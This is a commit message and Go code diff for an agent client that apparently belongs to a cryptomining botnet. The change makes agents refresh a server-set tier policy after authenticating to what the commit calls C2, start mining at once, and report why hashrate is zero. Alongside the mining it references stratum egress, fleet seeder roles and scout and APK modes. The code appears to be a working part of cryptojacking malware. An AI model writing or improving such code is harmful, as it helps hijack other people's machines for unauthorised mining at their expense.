Fix simple deploy mining: refresh auth tier policy and mine immediately.

Deploy and Mine agents were stuck at 0 H/s because idle mining_mode blocked workers and the tier orchestrator kept pre-auth defaults instead of server ForceTier=cpu_inprocess. Refresh tiers after auth, require C2 before start, surface mining_block_reason in stats_batch.

agent/client/client.go

@@ -1252,6 +1252,11 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
 				stats.StratumEgress = c.stratumEgress(false)
 			}
 			stats.MiningHashrate = avg15s + stats.GPUHashrate15s
+			if stats.MiningHashrate < 1 {
+				if reason := PrimaryMiningBlockReason(c.collectMiningDiagnostics()); reason != "" {
+					stats.MiningBlockReason = reason
+				}
+			}
 			if depth := c.contingencyDepthForStats(); depth > 0 {
 				stats.ContingencyDepth = depth
 			}
@@ -1491,13 +1496,15 @@ func (c *AgentClient) kickMiningAfterAuth() {
 	if c.cfg.IsSeederRole(c.fleetRoleHint()) || c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode {
 		return
 	}
-	if c.cfg.SimpleDeploy || deploy.WantsDeferMining() {
-		return
-	}
 	if c.miningCtx == nil || c.miningChain == nil {
 		return
 	}
 	go func() {
+		c.miningChain.refreshTierOrchestrator()
+		if c.cfg.SimpleDeploy || deploy.WantsDeferMining() {
+			log.Printf("[mining] tier policy refreshed after auth (simple_deploy/defer)")
+			return
+		}
 		log.Printf("[mining] restarting chain after auth with server policy")
 		c.miningChain.Restart(c.miningCtx)
 	}()